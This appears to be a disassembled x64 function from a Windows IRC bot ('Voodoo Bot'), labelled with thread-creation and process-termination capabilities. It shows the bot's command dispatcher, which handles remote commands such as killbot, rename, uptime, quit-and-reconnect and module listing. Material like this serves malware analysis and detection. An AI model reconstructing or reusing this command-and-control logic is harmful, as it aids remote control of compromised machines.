Function at 0x140004950
Capabilities:
Create thread
Terminate process

Disassembly:
mov qword [rsp + 0x20], r9
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1b8]
sub rsp, 0x2b8
mov rax, qword [0x140017040]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
mov rbx, r8
mov rdi, rcx
mov qword [rsp + 0x40], rcx
xor esi, esi
mov r15d, esi
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
lea rcx, [rbp + 0x90]
call fcn.14000b450
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm0
movups xmmword [rbp + 0x140], xmm0
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x160], xmm0
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm0
mov rdx, rbx
lea rcx, [rbp + 0x110]
call fcn.14000b450
nop
mov rax, qword [rdi + 0x338]
mov rbx, qword [rax]
cmp rbx, rax
je 0x140004dda
lea r12, [0x140017d68]
mov r13d, 0xfe
lea r14d, [r13 + 1]
nop dword [rax + rax]
inc r15d
mov rdx, qword [rbx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x140004a61
mov rdx, qword [rdx]
test rdx, rdx
je 0x140004a80
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x140004a80
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x140004dc5
mov rax, qword [rbx + 0x10]
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140004a91
mov r9, qword [rax]
add rax, 0x20
cmp qword [rax + 0x18], 0xf
jbe 0x140004a9f
mov rax, qword [rax]
mov rcx, qword [0x140029c30]
add rcx, 0x1868
mov qword [rsp + 0x20], rax
mov r8d, r15d
lea rdx, [0x140011bd0]
call fcn.1400031a0
mov rdi, r12
mov rsi, r13
mov edx, dword [rdi]
test edx, edx
je 0x140004b10
mov rax, qword [rbx + 0x10]
lea r8, [rax + 0x20]
cmp qword [r8 + 0x18], 0xf
jbe 0x140004adf
mov r8, qword [r8]
cmp qword [rax + 0x18], 0xf
jbe 0x140004ae9
mov rax, qword [rax]
mov rcx, qword [0x140029c30]
add rcx, 0x2228
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rax
mov r9d, r15d
lea r8, str._cCommands_:__Command_Reference_Number__d_:___s___Description:__s__r_n
call fcn.140006e20
add rdi, 0x20
sub rsi, 1
jne 0x140004ac7
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x14000512a
lea rdx, str.commands.list
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x14000512a
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x140005000
lea rdx, str.modules.list
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140005000
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x140004fd6
lea rdx, str.bot.killbot
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140004fd6
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x140004f1d
lea rdx, str.bot.uptime
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140004f1d
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x140004bcb
lea rdx, str.bot.rename
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x140004c07
mov rcx, qword [0x140029c30]
add rcx, 0x1868
lea rdx, str.Changing_name
call fcn.1400031a0
call fcn.1400066c0
mov r8, rax
mov rcx, qword [0x140029c30]
add rcx, 0x1868
lea rdx, str.NICK__s_r
call fcn.140003240
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x140004e99
lea rdx, str.bot.about
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140004e99
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x140004c4d
lea rdx, str.bot.testone
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x140004cfc
movabs rax, 0x656e6f74736574
mov qword [rbp + 0x198], rax
mov rcx, qword [0x140029c30]
add rcx, 0xc40
lea r9, str.TestOneThread
lea r8, [rbp + 0x198]
mov edx, 1
call fcn.14000d280
mov dword [rbp + 0x54], eax
lea rax, [rbp + 0x190]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
lea r9, [rsp + 0x50]
lea r8, [0x1400060c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movsxd rcx, dword [rbp + 0x54]
imul rdx, rcx, 0xe8
lea rcx, [0x140019de8]
mov qword [rdx + rcx], rax
test rax, rax
je 0x140004cfc
mov rdi, r12
mov rsi, r14
mov edx, dword [rdi]
test edx, edx
je 0x140004cf2
mov rcx, qword [0x140029c30]
add rcx, 0x2228
lea r8, str._cLog:cThread___Test_One_Thread__r_n
call fcn.140006e20
add rdi, 0x20
sub rsi, 1
jne 0x140004cd2
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x140004d1d
lea rdx, str.bot.quit
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x140004dc0
mov rcx, qword [0x140029c30]
add rcx, 0x1868
lea rdx, str.Quitting_and_Reconnect
call fcn.1400031a0
mov rdi, r12
mov rsi, r14
nop dword [rax]
mov edx, dword [rdi]
test edx, edx
je 0x140004d60
mov rcx, qword [0x140029c30]
add rcx, 0x2228
lea r8, str.Quitting_and_Reconnect
call fcn.140006e20
add rdi, 0x20
sub rsi, 1
jne 0x140004d40
mov rcx, qword [0x140029c30]
add rcx, 0x1868
lea rdx, str.QUIT_r_n
call fcn.140003240
mov rdi, qword [0x140029c30]
movsxd rax, dword [rdi + 0x20e0]
cmp eax, 0xffffffff
je 0x140004da0
mov rcx, rax
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rdi + 0x20e6], 0
mov ecx, 0x3a98
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [0x140029c30]
mov byte [rax + 0x20e8], 0
mov rdi, qword [rsp + 0x40]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, qword [rdi + 0x338]
jne 0x140004a50
xor esi, esi
lea rbx, vtable.cString.0
mov qword [rbp + 0x110], rbx
mov rcx, qword [rbp + 0x118]
test rcx, rcx
je 0x140004e00
call fcn.14000f76c
mov qword [rbp + 0x118], rsi
mov rcx, qword [rbp + 0x120]
test rcx, rcx
je 0x140004e18
call fcn.14000f76c
mov qword [rbp + 0x120], rsi
mov dword [rbp + 0x128], esi
lea rcx, [rbp + 0x130]
call fcn.140001560
nop
mov qword [rbp + 0x90], rbx
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x140004e4a
call fcn.14000f76c
mov qword [rbp + 0x98], rsi
mov rcx, qword [rbp + 0xa0]
test rcx, rcx
je 0x140004e62
call fcn.14000f76c
mov qword [rbp + 0xa0], rsi
mov dword [rbp + 0xa8], esi
lea rcx, [rbp + 0xb0]
call fcn.140001560
xor al, al
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.14000f4d0
add rsp, 0x2b8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov rcx, qword [0x140029c30]
add rcx, 0x1868
mov r8d, 1
lea rdx, [0x140011ef0]
call fcn.1400031a0
lea rbx, [0x140017d48]
mov edx, dword [rbx]
test edx, edx
je 0x140004ee6
mov rcx, qword [0x140029c30]
add rcx, 0x2228
mov r9d, 1
lea r8, str._Voodoo_Bot_ver.__d__created_by_vorteckz__r_n
call fcn.140006e20
add rbx, 0x20
sub r14, 1
jne 0x140004ec0
lea rbx, vtable.cString.0
mov qword [rbp + 0x110], rbx
mov rcx, qword [rbp + 0x118]
test rcx, rcx
je 0x140004f16
call fcn.14000f76c
xor edi, edi
jmp 0x140005247
xor edi, edi
jmp 0x14000524e
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rcx, rax
mov eax, 0x10624dd3
mul ecx
mov ebx, edx
shr ebx, 6
mov eax, 0xc22e4507
mul ebx
mov edi, edx
shr edi, 0x10
mov eax, 0x91a2b3c5
mul ebx
shr edx, 0xb
lea eax, [rdi + rdi*2]
shl eax, 3
mov r14d, edx
sub r14d, eax
imul eax, edx, 0xe10
sub ebx, eax
mov eax, 0x88888889
mul ebx
mov esi, edx
shr esi, 5
imul eax, esi, 0x3c
sub ebx, eax
mov rcx, qword [0x140029c30]
add rcx, 0x1868
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], esi
mov r9d, r14d
mov r8d, edi
lea rdx, [0x140011e58]
call fcn.1400031a0
mov edx, dword [r12]
test edx, edx
je 0x140004fc7
mov rcx, qword [0x140029c30]
add rcx, 0x2228
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], r14d
mov r9d, edi
lea r8, str._uptime_:__d_Days__d_Hours__d_Minutes__d_Seconds_r_n
call fcn.140006e20
add r12, 0x20
sub r13, 1
jne 0x140004f95
jmp 0x140004ef0
mov rcx, qword [0x140029c30]
add rcx, 0x880
lea r8, str.Bot_Exiting
lea rdx, str.Bot:Main
call fcn.140005590
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [0x140029c30]
add rcx, 0x1868
lea rdx, [0x140011d50]
call fcn.1400031a0
xor edi, edi
mov r14d, edi
mov r15, qword [rsp + 0x40]
mov rax, qword [r15 + 0x348]
mov rbx, qword [rax]
cmp rbx, rax
je 0x140005228
nop word [rax + rax]
inc r14d
mov rax, qword [rbx + 0x10]
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140005054
mov r9, qword [rax]
lea rdx, [rax + 0x20]
cmp qword [rdx + 0x18], 0xf
jbe 0x140005062
mov rdx, qword [rdx]
add rax, 0x40
cmp qword [rax + 0x18], 0xf
jbe 0x140005070
mov rax, qword [rax]
mov rcx, qword [0x140029c30]
add rcx, 0x1868
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8d, r14d
lea rdx, [0x140011d80]
call fcn.1400031a0
mov rdi, r12
mov rsi, r13
nop dword [rax]
mov edx, dword [rdi]
test edx, edx
je 0x1400050ff
mov rax, qword [rbx + 0x10]
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400050b7
mov r9, qword [rax]
lea r8, [rax + 0x20]
cmp qword [r8 + 0x18], 0xf
jbe 0x1400050c5
mov r8, qword [r8]
add rax, 0x40
cmp qword [rax + 0x18], 0xf
jbe 0x1400050d3
mov rax, qword [rax]
mov rcx, qword [0x140029c30]
add rcx, 0x2228
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], r9
mov r9d, r14d
lea r8, str._cCore_:__Module__d_:__s___Version:__s___Description:__s__r_n
call fcn.140006e20
add rdi, 0x20
sub rsi, 1
jne 0x1400050a0
lea ecx, [rsi + 0x32]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, qword [r15 + 0x348]
jne 0x140005040
jmp 0x140005226
mov rcx, qword [0x140029c30]
add rcx, 0x1868
lea rdx, [0x140011c78]
call fcn.1400031a0
xor edi, edi
mov r14d, edi
mov r15, qword [rsp + 0x40]
mov rax, qword [r15 + 0x338]
mov rbx, qword [rax]
cmp rbx, rax
je 0x140005228
nop dword [rax]
nop word [rax + rax]
inc r14d
mov r9, qword [rbx + 0x10]
lea rax, [r9 + 0x20]
cmp qword [rax + 0x18], 0xf
jbe 0x140005185
mov rax, qword [rax]
cmp qword [r9 + 0x18], 0xf
jbe 0x14000518f
mov r9, qword [r9]
mov rcx, qword [0x140029c30]
add rcx, 0x1868
mov qword [rsp + 0x20], rax
mov r8d, r14d
lea rdx, [0x140011cb0]
call fcn.1400031a0
mov rdi, r12
mov rsi, r13
mov edx, dword [rdi]
test edx, edx
je 0x140005200
mov rax, qword [rbx + 0x10]
lea r8, [rax + 0x20]
cmp qword [r8 + 0x18], 0xf
jbe 0x1400051cf
mov r8, qword [r8]
cmp qword [rax + 0x18], 0xf
jbe 0x1400051d9
mov rax, qword [rax]
mov rcx, qword [0x140029c30]
add rcx, 0x2228
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rax
mov r9d, r14d
lea r8, str._cCommands_:__Command_list:__d___command:__s___desc:__s__r_n
call fcn.140006e20
add rdi, 0x20
sub rsi, 1
jne 0x1400051b7
lea ecx, [rsi + 0x32]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, qword [r15 + 0x338]
jne 0x140005170
xor edi, edi
mov rcx, qword [rbp + 0x118]
lea rbx, vtable.cString.0
test rcx, rcx
mov qword [rbp + 0x110], rbx
je 0x14000524e
call fcn.14000f76c
mov qword [rbp + 0x118], rdi
mov rcx, qword [rbp + 0x120]
test rcx, rcx
je 0x140005266
call fcn.14000f76c
mov qword [rbp + 0x120], rdi
mov dword [rbp + 0x128], edi
lea rcx, [rbp + 0x130]
call fcn.140001560
nop
mov rcx, qword [rbp + 0x98]
test rcx, rcx
mov qword [rbp + 0x90], rbx
je 0x140005298
call fcn.14000f76c
mov qword [rbp + 0x98], rdi
mov rcx, qword [rbp + 0xa0]
test rcx, rcx
je 0x1400052b0
call fcn.14000f76c
mov qword [rbp + 0xa0], rdi
mov dword [rbp + 0xa8], edi
lea rcx, [rbp + 0xb0]
call fcn.140001560
mov al, 1
jmp 0x140004e76